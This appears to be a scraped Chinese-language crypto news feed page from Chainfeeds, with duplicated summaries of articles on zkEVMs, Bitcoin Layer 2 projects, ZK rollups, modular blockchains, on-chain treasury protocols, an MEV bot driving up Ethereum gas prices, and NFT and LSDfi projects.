    Chainfeeds 导读： 在最新的 ZKP Mooc 课程中，Scroll 联合创始人 Ye Zhang 发表了关于 zkEVM 设计，优化和应用的演讲。演讲分为四部分，第一部分介绍了开发背景，以及我们为什么首先需要 zkEVM，为什么它在最近两年间变得如此受欢迎；第二部分通过一个完整的流程讲解如何从头开始构建 zkEVM，包括算术化和证明系统；第三部分通过一些有趣的研究问题谈论 Scroll 在构建 zkEVM 时遇到的问题；最后介绍了一些其他使用 zkEVM 的应用。本文为视频的听录文字版本，由 F.F 整理发布。 文章来源： https://mp.weixin.qq.com/s/Ba9I8usthDqj2S4ZOJiFig 文章作者： Ye Zhang（Scroll 联合创始人） 观点： Ye Zhang（Scroll 联合创始人）：零知识证明的效率在过去两年里大幅提高，至少有四个原因让它变得可行，1）多项式承诺：原本 Groth16 证明系统下约束的规模非常庞大，而多项式承诺可以支持更高阶的约束，缩小证明规模；2）查找表和自定义门：可以支持更灵活的设计，使证明更加高效；3）硬件加速方面的突破：通过 GPU，FPGA 和 ASIC 可以将证明时间缩短 1-2 个数量级；4）递归证明：可将多个证明压缩成一个证明，使证明变得更小更易于验证。 内容来源 Ye Zhang（Scroll 联合创始人）：其他使用 zkEVM 的应用：1）在 zkRollup 的架构中，通过在 L1 的智能合约验证在 L2 上的 n 笔交易是有效的。这样的架构方案称为 Enshrine Blockchain，目前在以太坊上直接实现难度非常大，因为需要验证整个以太坊区块，其中会包括验证大量签名，随之带来更长的证明时间和更低的安全性。一些其他公链在通过递归证明使用单个证明来验证整个区块链，如 Mina； 内容来源 Ye Zhang（Scroll 联合创始人）：2）因为 zkEVM 可以证明状态转换，它可以被白帽用来证明自己知道某些智能合约的漏洞，寻求项目方的赏金；3）通过零知识证明证明对历史数据的声明，作为预言机使用，目前 Axiom 正在做这方面的产品。最近的 ETHBeijing 黑客松上，GasLockR 团队利用这一特性证明了历史的 Gas 开销。 内容来源  ( 34 min )
    【英文】走近比特币 L2 生态系统：Stacks、BNS、Ordinals…
    Chainfeeds 导读： 随着 Stacks、Lightning 和 RSK 等 Layer2 网络的出现，比特币即将开启新的可能性。Nested 研究员 James 盘点在比特币之上进行创新的项目，如 Stacks、BNS、Ordinals 等等。 文章来源： https://blog.nested.fi/the-narratives-building-on-bitcoin/ 文章作者： James 观点： James：1）Stacks 是 Layer1 区块链解决方案，专门设计用于与比特币网络协调工作。它可以在比特币区块链上执行智能合约和创建去中心化应用程序（dApps），从而扩展网络的功能和效用。STX 代币用于执行智能合约，参与 Stacks 生态系统和支持 dApp 开发。通过「stacking」代币，持有者可以锁定其代币并获得比特币奖励。大多数比特币上的创新项目都在其后端使用 Stacks；【原文为英文】 内容来源 James：2）BNS（比特币名称系统）正在革新人们与比特币地址交互的方式。正如域名服务（DNS）通过将复杂的 IP 地址转化为易于使用的文本，BNS 将复杂的钱包地址转化为人类可读的格式，并使用 Stacks 将名称注册到比特币链上；3）Ordinals 创建了一个协议，允许用户创建、买卖比特币支持的 NFT，现在已成为想在比特币网络上发布 NFT 的项目的首选协议；【原文为英文】 内容来源 James：4）Trustless Computer 使开发者能在比特币上构建 DAO、DEX、NFT、存储解决方案等 dApp。通过 Taproot 交易可将数据嵌入比特币链，确保在链上永久存储并继承其特性，如可访问性和不可篡改性。Trustless Computer 正努力实现在比特币网络上运行的图灵完备虚拟机；5）Alex 是第一个使用 Stacks 智能合约构建在比特币上的完整 DeFi 平台，亮点包括：通过 launchpad 参与新兴 Stacks 项目的 IDO 轮融资；访问有深度流动性池的 AMM DEX；通过提供流动性、质押 ALEX 和流动性挖矿赚取回报。【原文为英文】 内容来源  ( 6 min )
    【英文】走近比特币 L2 生态系统：Stacks、BNS、Ordinals…
    Chainfeeds 导读： 随着 Stacks、Lightning 和 RSK 等 Layer2 网络的出现，比特币即将开启新的可能性。Nested 研究员 James 盘点在比特币之上进行创新的项目，如 Stacks、BNS、Ordinals 等等。 文章来源： https://blog.nested.fi/the-narratives-building-on-bitcoin/ 文章作者： James 观点： James：1）Stacks 是 Layer1 区块链解决方案，专门设计用于与比特币网络协调工作。它可以在比特币区块链上执行智能合约和创建去中心化应用程序（dApps），从而扩展网络的功能和效用。STX 代币用于执行智能合约，参与 Stacks 生态系统和支持 dApp 开发。通过「stacking」代币，持有者可以锁定其代币并获得比特币奖励。大多数比特币上的创新项目都在其后端使用 Stacks；【原文为英文】 内容来源 James：2）BNS（比特币名称系统）正在革新人们与比特币地址交互的方式。正如域名服务（DNS）通过将复杂的 IP 地址转化为易于使用的文本，BNS 将复杂的钱包地址转化为人类可读的格式，并使用 Stacks 将名称注册到比特币链上；3）Ordinals 创建了一个协议，允许用户创建、买卖比特币支持的 NFT，现在已成为想在比特币网络上发布 NFT 的项目的首选协议；【原文为英文】 内容来源 James：4）Trustless Computer 使开发者能在比特币上构建 DAO、DEX、NFT、存储解决方案等 dApp。通过 Taproot 交易可将数据嵌入比特币链，确保在链上永久存储并继承其特性，如可访问性和不可篡改性。Trustless Computer 正努力实现在比特币网络上运行的图灵完备虚拟机；5）Alex 是第一个使用 Stacks 智能合约构建在比特币上的完整 DeFi 平台，亮点包括：通过 launchpad 参与新兴 Stacks 项目的 IDO 轮融资；访问有深度流动性池的 AMM DEX；通过提供流动性、质押 ALEX 和流动性挖矿赚取回报。【原文为英文】 内容来源  ( 6 min )
    Zk Rollup 如何成为 Layer2 终极赢家？
    Chainfeeds 导读： Ebunker 中文认为，ZK-Rollup 可以通过提高可扩展性为区块链技术，尤其是以太坊带来重大进步。这可以提供更好的用户体验，并增加该领域的兴趣，从而进一步令新项目吸引新的用户和支持者。这种指数级的正反馈循环可能是下一次加密牛市的核心。 文章来源： https://medium.com/@EbunkerChinese/zk-rollup如何成为layer2终极赢家-89ee3e3d9ef 文章作者： Ebunker 中文 观点： Ebunker 中文：ZK 技术是以太坊的未来。18 至 24 个月内，大多数大型 Web3 应用将建立在零知识证明的二层链上。然而，ZK Rollup 也存在一些问题，如：1）需要高水平的开发、部署和审计技术。由于 ZK 技术专家较少，审计桥接等过程变得更加困难；2）使用 ZK 证明进行验证的过程计算量较大。一些初创公司已经开发了专门的技术，如 FGPA 和 ASIC，以进一步加快 ZK 证明的生成速度。因此，ZK 技术可能需要数年时间才能真正成熟； 内容来源 Ebunker 中文：3）大多数 Rollup 平台交易费用比 EVM 侧链更高。因此，每个 Rollup 平台只能将以太坊扩展到一定程度；4）相对 OP 系，ZK 系保持 EVM 兼容非常困难。当主网 EVM 更新时，OP 系可以以很小的工作量完成同步更新，继续保持 100% EVM 兼容，而 ZK 系需要繁琐的重新电路设计和代码开发，这给研发 ZK 系 L2 的团队带来了不小的压力。 内容来源 Ebunker 中文：总体而言，我非常期待 Rollup 领导区块链进入一个新的时代。新的创新将不再基于 L1 设计，而是在 L2 和 L3 上进行，并从关联的 L1 中获得安全性，同时实现 L1 上不可能实现的可扩展性。我们期待看到更多优秀的项目和技术不断涌现，推动整个区块链技术进一步发展。 内容来源  ( 3 min )
    Zk Rollup 如何成为 Layer2 终极赢家？
    Chainfeeds 导读： Ebunker 中文认为，ZK-Rollup 可以通过提高可扩展性为区块链技术，尤其是以太坊带来重大进步。这可以提供更好的用户体验，并增加该领域的兴趣，从而进一步令新项目吸引新的用户和支持者。这种指数级的正反馈循环可能是下一次加密牛市的核心。 文章来源： https://medium.com/@EbunkerChinese/zk-rollup如何成为layer2终极赢家-89ee3e3d9ef 文章作者： Ebunker 中文 观点： Ebunker 中文：ZK 技术是以太坊的未来。18 至 24 个月内，大多数大型 Web3 应用将建立在零知识证明的二层链上。然而，ZK Rollup 也存在一些问题，如：1）需要高水平的开发、部署和审计技术。由于 ZK 技术专家较少，审计桥接等过程变得更加困难；2）使用 ZK 证明进行验证的过程计算量较大。一些初创公司已经开发了专门的技术，如 FGPA 和 ASIC，以进一步加快 ZK 证明的生成速度。因此，ZK 技术可能需要数年时间才能真正成熟； 内容来源 Ebunker 中文：3）大多数 Rollup 平台交易费用比 EVM 侧链更高。因此，每个 Rollup 平台只能将以太坊扩展到一定程度；4）相对 OP 系，ZK 系保持 EVM 兼容非常困难。当主网 EVM 更新时，OP 系可以以很小的工作量完成同步更新，继续保持 100% EVM 兼容，而 ZK 系需要繁琐的重新电路设计和代码开发，这给研发 ZK 系 L2 的团队带来了不小的压力。 内容来源 Ebunker 中文：总体而言，我非常期待 Rollup 领导区块链进入一个新的时代。新的创新将不再基于 L1 设计，而是在 L2 和 L3 上进行，并从关联的 L1 中获得安全性，同时实现 L1 上不可能实现的可扩展性。我们期待看到更多优秀的项目和技术不断涌现，推动整个区块链技术进一步发展。 内容来源  ( 3 min )
    【英文】对 ZK 的批评：证明速度及安全隐患
    Chainfeeds 导读： Hyper Oracle 研究员 msfew 撰文剖析 ZK 证明时间长及安全性仍需测试两方面的缺点，并从多角度对当前解决方案进行梳理。（编者注：原文内含大量链接，建议搭配食用。） 文章来源： https://mirror.xyz/msfew.eth/Q0NQDYIerEqqK4N7tMDX4OTIJ0flpPMgdH-XCNociEU 文章作者： Suning Yao（msfew） 观点： Suning Yao（msfew）：证明生成时间过长：1）基准（Benchmark）：底层承诺协议不仅计算复杂 (可能导致证明时间长)，而且内存消耗大。总体而言，zk-SNARK 的额外性能开销在 200 - 1000 倍；2) 递归和批处理：批处理是同时证明一批证明，最后将其聚合起来。递归是在一个证明中验证其他证明， 一般具有更小证明大小的额外优势。更常见的聚合方法包括 Halo2、Plonky2 和 Nova。除了协议层，应用层也可以针对性优化，如同时使用多个 ZK 协议（STARK + SNARK）或针对宏观采取递归策略进行特定于应用程序的调优。【原文为英文】 内容来源 Suning Yao（msfew）：3) 硬件加速：首先，ZK 协议被设计为尽可能硬件友好，如 HyperPlonk。多家 ZK 硬件加速商和研究人员表示，GPU 是目前最经济和可配置的硬件选择，最终将由 FPGA 过渡到 ASIC 阶段。 据 zk 硬件公司的说法，其第一版 ASIC 可直接减少至少 30% 的 ZK 证明生成时间。此外，由于不同的服务器配置，将不同的云服务器作为节点运行可能涉及不同的硬件特定优化。【原文为英文】 内容来源 Suning Yao（msfew）：安全性：ZK 的另一个缺点是电路代码需要正确 (没有 bug)。如果 ZK 协议从健全性、完整性、零知识的角度受到攻击，我们将不再拥有有效的 ZK 系统。 虽然 ZK 应用可被称为 trustless，但仍需确保项目的 ZK 协议和应用的代码和架构正确。因此，ZK 系统可能需要与诸如形式验证或 Ecne 等安全相关工具搭配使用。应用程序，特别是 zkEVM 这种大项目需要更多审计。【原文为英文】 内容来源  ( 10 min )
    【英文】对 ZK 的批评：证明速度及安全隐患
    Chainfeeds 导读： Hyper Oracle 研究员 msfew 撰文剖析 ZK 证明时间长及安全性仍需测试两方面的缺点，并从多角度对当前解决方案进行梳理。（编者注：原文内含大量链接，建议搭配食用。） 文章来源： https://mirror.xyz/msfew.eth/Q0NQDYIerEqqK4N7tMDX4OTIJ0flpPMgdH-XCNociEU 文章作者： Suning Yao（msfew） 观点： Suning Yao（msfew）：证明生成时间过长：1）基准（Benchmark）：底层承诺协议不仅计算复杂 (可能导致证明时间长)，而且内存消耗大。总体而言，zk-SNARK 的额外性能开销在 200 - 1000 倍；2) 递归和批处理：批处理是同时证明一批证明，最后将其聚合起来。递归是在一个证明中验证其他证明， 一般具有更小证明大小的额外优势。更常见的聚合方法包括 Halo2、Plonky2 和 Nova。除了协议层，应用层也可以针对性优化，如同时使用多个 ZK 协议（STARK + SNARK）或针对宏观采取递归策略进行特定于应用程序的调优。【原文为英文】 内容来源 Suning Yao（msfew）：3) 硬件加速：首先，ZK 协议被设计为尽可能硬件友好，如 HyperPlonk。多家 ZK 硬件加速商和研究人员表示，GPU 是目前最经济和可配置的硬件选择，最终将由 FPGA 过渡到 ASIC 阶段。 据 zk 硬件公司的说法，其第一版 ASIC 可直接减少至少 30% 的 ZK 证明生成时间。此外，由于不同的服务器配置，将不同的云服务器作为节点运行可能涉及不同的硬件特定优化。【原文为英文】 内容来源 Suning Yao（msfew）：安全性：ZK 的另一个缺点是电路代码需要正确 (没有 bug)。如果 ZK 协议从健全性、完整性、零知识的角度受到攻击，我们将不再拥有有效的 ZK 系统。 虽然 ZK 应用可被称为 trustless，但仍需确保项目的 ZK 协议和应用的代码和架构正确。因此，ZK 系统可能需要与诸如形式验证或 Ecne 等安全相关工具搭配使用。应用程序，特别是 zkEVM 这种大项目需要更多审计。【原文为英文】 内容来源  ( 10 min )
    盘点 9 个模块化区块链平台的特点和最新动态
    Chainfeeds 导读： 2023 年，随着以太坊合并成功、 Layer 2 Rollups 生态爆发，以太坊系统转向了模块化架构，其中发展出许多项目。ChainCatcher 作者饼干撰文介绍 Eclipse、AltLayer、Sovereign、dYmension 等 9 个模块化区块链的不同特点和最新动态。 文章来源： https://www.chaincatcher.com/article/2091489 文章作者： 饼干 观点： 饼干：1）Eclipse 是一个可定制 Rollup 提供程序，与多个 L1 区块链兼容。 该平台使开发者能够自行部署由 Solana 操作系统提供支持的 rollup，使用任何链进行安全或数据存储；2）AltLayer 是一个高度可扩展的应用程序专用执行层系统，从底层 L1/L2 获得安全性，被设计为用于多链和多 VM 世界的模块化和可插拔框架； 内容来源 饼干：3）Sovereign 是一个可在任何区块链上运行的可互操作和可扩展 rollups 的生态系统。Sovereign SDK 将提供通常进入区块链的所有样板：p2p 网络、数据库和 RPC 节点；4）dYmension 是一个结算层模块化平台，为 Cosmos 生态系统 Rollups 提供所需的所有工具和基础设施。 dYmension 引入了一种扩容范式转变，称为「RollApps」框架，使在线社区和应用程序能够作为分散的、自治的和加密安全的经济体运行； 内容来源 饼干：5）Astria 是一个模块化区块链， 让 Rollup 可以共享去中心化 Sequencer 网络，旨在让任何人都可以部署自己的抗审查 Rollup，而无需依赖中心化 Sequencer；6）Rollkit 是一个模块化 rollup 框架，使开发人员可以自由地在整个模块化堆栈中部署 rollup，包括主权 rollup、结算 rollup；7）Caldera 专注于构建高性能、可定制和应用程序特定的第二层区块链，使任何人都可以启动和运行专用且高性能的 L2 区块链「Rollup」； 内容来源 饼干：8）Rooch 是一个将多链连接到 Web3 的 Move 执行层，为公链提供可扩展性，为 Web3 应用程序提供 Move 执行环境和结算协议；9）ZKCross 解耦执行和结算层，通过 zkWasm 为所有区块链提供可信的通用多链执行层，并通过端到端的 ZKP 协议进行安全保护。多链本地产品也可以通过 ZKCross 快速开发部署。 内容来源  ( 5 min )
    盘点 9 个模块化区块链平台的特点和最新动态
    Chainfeeds 导读： 2023 年，随着以太坊合并成功、 Layer 2 Rollups 生态爆发，以太坊系统转向了模块化架构，其中发展出许多项目。ChainCatcher 作者饼干撰文介绍 Eclipse、AltLayer、Sovereign、dYmension 等 9 个模块化区块链的不同特点和最新动态。 文章来源： https://www.chaincatcher.com/article/2091489 文章作者： 饼干 观点： 饼干：1）Eclipse 是一个可定制 Rollup 提供程序，与多个 L1 区块链兼容。 该平台使开发者能够自行部署由 Solana 操作系统提供支持的 rollup，使用任何链进行安全或数据存储；2）AltLayer 是一个高度可扩展的应用程序专用执行层系统，从底层 L1/L2 获得安全性，被设计为用于多链和多 VM 世界的模块化和可插拔框架； 内容来源 饼干：3）Sovereign 是一个可在任何区块链上运行的可互操作和可扩展 rollups 的生态系统。Sovereign SDK 将提供通常进入区块链的所有样板：p2p 网络、数据库和 RPC 节点；4）dYmension 是一个结算层模块化平台，为 Cosmos 生态系统 Rollups 提供所需的所有工具和基础设施。 dYmension 引入了一种扩容范式转变，称为「RollApps」框架，使在线社区和应用程序能够作为分散的、自治的和加密安全的经济体运行； 内容来源 饼干：5）Astria 是一个模块化区块链， 让 Rollup 可以共享去中心化 Sequencer 网络，旨在让任何人都可以部署自己的抗审查 Rollup，而无需依赖中心化 Sequencer；6）Rollkit 是一个模块化 rollup 框架，使开发人员可以自由地在整个模块化堆栈中部署 rollup，包括主权 rollup、结算 rollup；7）Caldera 专注于构建高性能、可定制和应用程序特定的第二层区块链，使任何人都可以启动和运行专用且高性能的 L2 区块链「Rollup」； 内容来源 饼干：8）Rooch 是一个将多链连接到 Web3 的 Move 执行层，为公链提供可扩展性，为 Web3 应用程序提供 Move 执行环境和结算协议；9）ZKCross 解耦执行和结算层，通过 zkWasm 为所有区块链提供可信的通用多链执行层，并通过端到端的 ZKP 协议进行安全保护。多链本地产品也可以通过 ZKCross 快速开发部署。 内容来源  ( 5 min )
    三大无许可链上美债协议一览：Flux Finance、T Protocol 及 Ribbon Finance
    Chainfeeds 导读： 当前 DeFi 世界的主要矛盾是人民日益增长的美债需求和不平衡不均等的美债获取权之间的矛盾。加密研究员 Guu.Diffusion 撰文概述了三大应运而生的无许可链上美债协议，并针对其优缺点进行了权衡分析。 文章来源： https://mirror.xyz/0x082f675a803319aa434947FABF807BD12BDb416f/Sg-euZY_zL1gxSFQyp8FT-BI_fhmDA4c4e-JUIe-W70 文章作者： Guu.Diffusion 观点： Guu.Diffusion：Flux Finance 是由 Ondo Finance 团队开发的去中心化借贷协议，允许机构抵押 OUSG 借出其他稳定币，以把美债利率间接引入了无许可 DeFi 中。现在 Flux Finance 总供应已经达到 4300 万美元，OUSG 市值已经超过一亿美元。Flux Finance 的优点是散户无参与门槛，也无需 KYC，并且对安全性有一定保证，但其缺点在于目前只在以太坊上，且采用白名单清算机制。 内容来源 Guu.Diffusion：T Protocol 是由 JZ 团队推出的链上无许可美债产品，项目本身是个 Liquity fork。协议内有 3 种代币：sTBT、TBT 及 wTBT。其优点在于无许可、无门槛，且 APR 比 Flux Finance 略高，计划扩展到 Optimism 和 BNB Chain，及正在进行 TPS 代币空投。其缺点在于界面比较粗糙，文档页面组织不够好，且一次性铸造费用为 0.1%，赎回费用为 0.3%。 内容来源 Guu.Diffusion：Ribbon Finance 最近和 BackedFi 合作推出了基于国债的保本金期权产品。其优点在于 UI 好看，项目老牌值得信赖。但其缺点在于基础年华率低，且产品复杂，而且虽然 Ribbon 是多链部署但是 Ribbon Earn 只部署至了以太坊。 内容来源  ( 4 min )
    三大无许可链上美债协议一览：Flux Finance、T Protocol 及 Ribbon Finance
    Chainfeeds 导读： 当前 DeFi 世界的主要矛盾是人民日益增长的美债需求和不平衡不均等的美债获取权之间的矛盾。加密研究员 Guu.Diffusion 撰文概述了三大应运而生的无许可链上美债协议，并针对其优缺点进行了权衡分析。 文章来源： https://mirror.xyz/0x082f675a803319aa434947FABF807BD12BDb416f/Sg-euZY_zL1gxSFQyp8FT-BI_fhmDA4c4e-JUIe-W70 文章作者： Guu.Diffusion 观点： Guu.Diffusion：Flux Finance 是由 Ondo Finance 团队开发的去中心化借贷协议，允许机构抵押 OUSG 借出其他稳定币，以把美债利率间接引入了无许可 DeFi 中。现在 Flux Finance 总供应已经达到 4300 万美元，OUSG 市值已经超过一亿美元。Flux Finance 的优点是散户无参与门槛，也无需 KYC，并且对安全性有一定保证，但其缺点在于目前只在以太坊上，且采用白名单清算机制。 内容来源 Guu.Diffusion：T Protocol 是由 JZ 团队推出的链上无许可美债产品，项目本身是个 Liquity fork。协议内有 3 种代币：sTBT、TBT 及 wTBT。其优点在于无许可、无门槛，且 APR 比 Flux Finance 略高，计划扩展到 Optimism 和 BNB Chain，及正在进行 TPS 代币空投。其缺点在于界面比较粗糙，文档页面组织不够好，且一次性铸造费用为 0.1%，赎回费用为 0.3%。 内容来源 Guu.Diffusion：Ribbon Finance 最近和 BackedFi 合作推出了基于国债的保本金期权产品。其优点在于 UI 好看，项目老牌值得信赖。但其缺点在于基础年华率低，且产品复杂，而且虽然 Ribbon 是多链部署但是 Ribbon Earn 只部署至了以太坊。 内容来源  ( 4 min )
    主网 gas 为何这么高？meme 币夹子杀疯了
    Chainfeeds 导读： 过去数日，以太坊主网的 gas 价格明显上涨，且基本一直持续在 50 GWEI 左右居高不下，这让许多习惯在主网操作的用户感到困扰。多名社区「侦探」调查后发现，这是由一个 ENS 解析域名为 jaredfromsubway.eth 的地址引起的。odaily 星球日报整理并分析了相关数据。 文章来源： https://www.odaily.news/post/5186517 文章作者： Odaily 观点： Odaily：根据分析，jaredfromsubway.eth 是一个衷爱 meme 币交易（比如 PEPE、WOJAK 等等）的 MEV 机器人，仅在过去 24 小时内，该地址就已发起了超 55000 笔交易。Etherscan 数据显示，jaredfromsubway.eth 一直在以秒为单位高频进行交易，每一轮交易的间隔约为 12 秒左右，这意味着其操作几乎会覆盖每一个区块。 内容来源 Odaily：jaredfromsubway.eth 发起的所有交易基本均属于此类，单笔获利金额或许不大，但胜在极高频。根据 0xScope Builder Bobie 的分析，刨除掉 gas 成本，该地址在一天之内即可获利 46.6 万美元。 内容来源 Odaily：受 jaredfromsubway.eth 高频操作的影响，以太坊主网的 gas 也被推高。Dune Analytics（主页：Ethereum Gas）数据显示，在过去 24 小时内，jaredfromsubway.eth（图中 0x ae 2 开头地址）仅 gas 就消耗了 535.18 ETH（这么看单笔消耗约 0.01 ETH），价值约 1119969 美元，占全网数据的 8.3% ；而在过去一周内，该地址更是消耗了 1007.29 ETH，价值约 2096850 美元，占全网数据的 3.79% 。 内容来源  ( 6 min )
    主网 gas 为何这么高？meme 币夹子杀疯了
    Chainfeeds 导读： 过去数日，以太坊主网的 gas 价格明显上涨，且基本一直持续在 50 GWEI 左右居高不下，这让许多习惯在主网操作的用户感到困扰。多名社区「侦探」调查后发现，这是由一个 ENS 解析域名为 jaredfromsubway.eth 的地址引起的。odaily 星球日报整理并分析了相关数据。 文章来源： https://www.odaily.news/post/5186517 文章作者： Odaily 观点： Odaily：根据分析，jaredfromsubway.eth 是一个衷爱 meme 币交易（比如 PEPE、WOJAK 等等）的 MEV 机器人，仅在过去 24 小时内，该地址就已发起了超 55000 笔交易。Etherscan 数据显示，jaredfromsubway.eth 一直在以秒为单位高频进行交易，每一轮交易的间隔约为 12 秒左右，这意味着其操作几乎会覆盖每一个区块。 内容来源 Odaily：jaredfromsubway.eth 发起的所有交易基本均属于此类，单笔获利金额或许不大，但胜在极高频。根据 0xScope Builder Bobie 的分析，刨除掉 gas 成本，该地址在一天之内即可获利 46.6 万美元。 内容来源 Odaily：受 jaredfromsubway.eth 高频操作的影响，以太坊主网的 gas 也被推高。Dune Analytics（主页：Ethereum Gas）数据显示，在过去 24 小时内，jaredfromsubway.eth（图中 0x ae 2 开头地址）仅 gas 就消耗了 535.18 ETH（这么看单笔消耗约 0.01 ETH），价值约 1119969 美元，占全网数据的 8.3% ；而在过去一周内，该地址更是消耗了 1007.29 ETH，价值约 2096850 美元，占全网数据的 3.79% 。 内容来源  ( 6 min )
    【英文】CoinDesk 盘点 2023 年值得关注的 19 个项目：Bitcoin Beach、Lamina1、StarkNet......
    Chainfeeds 导读： CoinDesk 团队试图寻找哪些通过解决问题来实现加密货币精神的项目，在对超过 35 个项目的名单进行探讨分析后，CoinDesk 团队选择了 19 个值得关注的项目，涉及基础设施、气候、易用性、社交及安全等多个领域。 文章来源： https://www.coindesk.com/consensus-magazine/2023/04/17/crypto-projects-to-watch-2023-introduction-and-list/ 文章作者： Jeanhee Kim 观点： Jeanhee Kim：1）使金融服务易于获得：包括证明了比特币可以维持一个社区经济的 Bitcoin Beach、让非洲用户可能能够使用基本移动电话买卖加密货币的 Machankura 及 Strike 推出的全球汇款功能「Send Globally」；2）下一个十亿级用户市场： ImmutableX 将推出的 Immutable Passport、以元宇宙为重点的区块链网络 Lamina1 及 Web3 钱包 Rainbow；3）区块链安全领域：包括用于抵御量子计算威胁的 BTQ 及 StarkNet；【原文为英文】 内容来源 Jeanhee Kim：4）区块链透明化：包括使链上交易可追踪的 Arkham Intellligence 及理解链上数据的 Nansen；5）区块链可扩展性：包括用于版主开发者在链上和链下存储数据的 =nil; Foundation 及以太坊扩容项目 Scroll；6）减缓气候变化领域：包括用于激励生态友好行为的 Regen Network 及用于监测和报告情况及提供数据的 Shamba Network；【原文为英文】 内容来源 Jeanhee Kim：7）援助领域：包括可以为没有互联网接入的危机人群提供数字资产的 Sempo 及为援助组织提供数字资产援助系统的 Stellar Aid Assist；8）基础设施：包括东非比特币矿商 Gridless；9）去中心化社交：包括 Nostr。【原文为英文】 内容来源  ( 35 min )
    【英文】CoinDesk 盘点 2023 年值得关注的 19 个项目：Bitcoin Beach、Lamina1、StarkNet......
    Chainfeeds 导读： CoinDesk 团队试图寻找哪些通过解决问题来实现加密货币精神的项目，在对超过 35 个项目的名单进行探讨分析后，CoinDesk 团队选择了 19 个值得关注的项目，涉及基础设施、气候、易用性、社交及安全等多个领域。 文章来源： https://www.coindesk.com/consensus-magazine/2023/04/17/crypto-projects-to-watch-2023-introduction-and-list/ 文章作者： Jeanhee Kim 观点： Jeanhee Kim：1）使金融服务易于获得：包括证明了比特币可以维持一个社区经济的 Bitcoin Beach、让非洲用户可能能够使用基本移动电话买卖加密货币的 Machankura 及 Strike 推出的全球汇款功能「Send Globally」；2）下一个十亿级用户市场： ImmutableX 将推出的 Immutable Passport、以元宇宙为重点的区块链网络 Lamina1 及 Web3 钱包 Rainbow；3）区块链安全领域：包括用于抵御量子计算威胁的 BTQ 及 StarkNet；【原文为英文】 内容来源 Jeanhee Kim：4）区块链透明化：包括使链上交易可追踪的 Arkham Intellligence 及理解链上数据的 Nansen；5）区块链可扩展性：包括用于版主开发者在链上和链下存储数据的 =nil; Foundation 及以太坊扩容项目 Scroll；6）减缓气候变化领域：包括用于激励生态友好行为的 Regen Network 及用于监测和报告情况及提供数据的 Shamba Network；【原文为英文】 内容来源 Jeanhee Kim：7）援助领域：包括可以为没有互联网接入的危机人群提供数字资产的 Sempo 及为援助组织提供数字资产援助系统的 Stellar Aid Assist；8）基础设施：包括东非比特币矿商 Gridless；9）去中心化社交：包括 Nostr。【原文为英文】 内容来源  ( 35 min )
    【英文】观点：NFT 衍生品或成为 NFT 市场未来趋势
    Chainfeeds 导读： 加密货币 KOL Liam Herbst 认为未来市场份额可能大部分会在 NFT 衍生品协议中，Perpetual swaps （perps）将是首选的衍生品。 文章来源： https://twitter.com/liamherbst_/status/1648833444841914371 文章作者： Liam Herbst 观点： Liam Herbst：Perps 没有到期日，并使用资金利率来保持合约价格与其指数挂钩。例如，如果 perp 价格高于指数价格，多头支付空头费用（这鼓励多头卖出和价格下跌）。如果 NFT perp 产品被证明在规模上是可行的，NFT 市场活动可能会转变为三大类：低总量集合会到 OpenSea；中等总量和高总量的稀有物品会流向 Blur；高总量项目会到 NFT perp 协议上。【原文为英文】 内容来源 Liam Herbst：NFT 纯粹主义者最初可能讨厌 perps，但我认为这是一种健康的进化。Blur 竞价注入了一波对所有 NFT 一视同仁的炒作者。perps 和 NFT 之间的分割将导致真正的 NFT 再次因其独特性而被购买。【原文为英文】 内容来源  ( 2 min )
    【英文】观点：NFT 衍生品或成为 NFT 市场未来趋势
    Chainfeeds 导读： 加密货币 KOL Liam Herbst 认为未来市场份额可能大部分会在 NFT 衍生品协议中，Perpetual swaps （perps）将是首选的衍生品。 文章来源： https://twitter.com/liamherbst_/status/1648833444841914371 文章作者： Liam Herbst 观点： Liam Herbst：Perps 没有到期日，并使用资金利率来保持合约价格与其指数挂钩。例如，如果 perp 价格高于指数价格，多头支付空头费用（这鼓励多头卖出和价格下跌）。如果 NFT perp 产品被证明在规模上是可行的，NFT 市场活动可能会转变为三大类：低总量集合会到 OpenSea；中等总量和高总量的稀有物品会流向 Blur；高总量项目会到 NFT perp 协议上。【原文为英文】 内容来源 Liam Herbst：NFT 纯粹主义者最初可能讨厌 perps，但我认为这是一种健康的进化。Blur 竞价注入了一波对所有 NFT 一视同仁的炒作者。perps 和 NFT 之间的分割将导致真正的 NFT 再次因其独特性而被购买。【原文为英文】 内容来源  ( 2 min )
    【英文】LSDfi 项目 Lybra Finance 与 Agility 的区别
    Chainfeeds 导读： LSDfi 是 2023 年最热门的叙述，它提高了抵押 ETH 的收益率。加密货币 KOL CryptoDoctor 从主要目标和机制、原生代币的效用、路线图、风险等方面比较了 Lybra Finance 和 Agility 的区别。 文章来源： https://twitter.com/0xcrypto_doctor/status/1648698782622810112 文章作者： CryptoDoctor 观点： CryptoDoctor：主要目标和机制：解决稳定币不具备抗通胀和利息收入的问题是 LybraFinance 的首要目标。用户可以选择通过在 Lybra 上存入 ETH 或 stETH 来铸造 eUSD。他们只需持有即可赚取约 8% 的收益率。而 Agility 专注于为 LSD 持有者解锁流动性，并作为 LSD 叙述的流动性层。Agility 旨在为 LSD 持有者提供一个存放场所并提高其资产的额外收益和将 ETH 和 LSD 流动性分配到需求地。【原文为英文】 内容来源 CryptoDoctor：原生代币的效用：将 LSD 或 ETH 存入 Agility 的用户将获得三种类型的收益：100% LSD 产量；30% 的 Vault 策略收益率；esAGI 代币奖励。Lybra 使用类似的 ve-tokenomics。 esLBR 代表 Lybra 中的投票权。但与 esAGI 不同。esLBR 可以只是投票和分享协议收入（没有贿赂）。【原文为英文】 内容来源 CryptoDoctor：风险：Agility 中用户为了将 esAGI 完全赎回成 AGI ，必须在解锁期后等待（最短 3 天到最长 14 天）转换比例会随着时间的延长成比例增加：14 天可以 1:1 转换 esAGI 到 AGI，3 天只能转换 0.5。AGI 的潜在抛售将导致 Agility 的死亡螺旋。与 Agility 不同 Lybra 团队设计了直接和间接机制的组合，以维持与美元价格的硬挂钩。【原文为英文】 内容来源  ( 2 min )
    【英文】LSDfi 项目 Lybra Finance 与 Agility 的区别
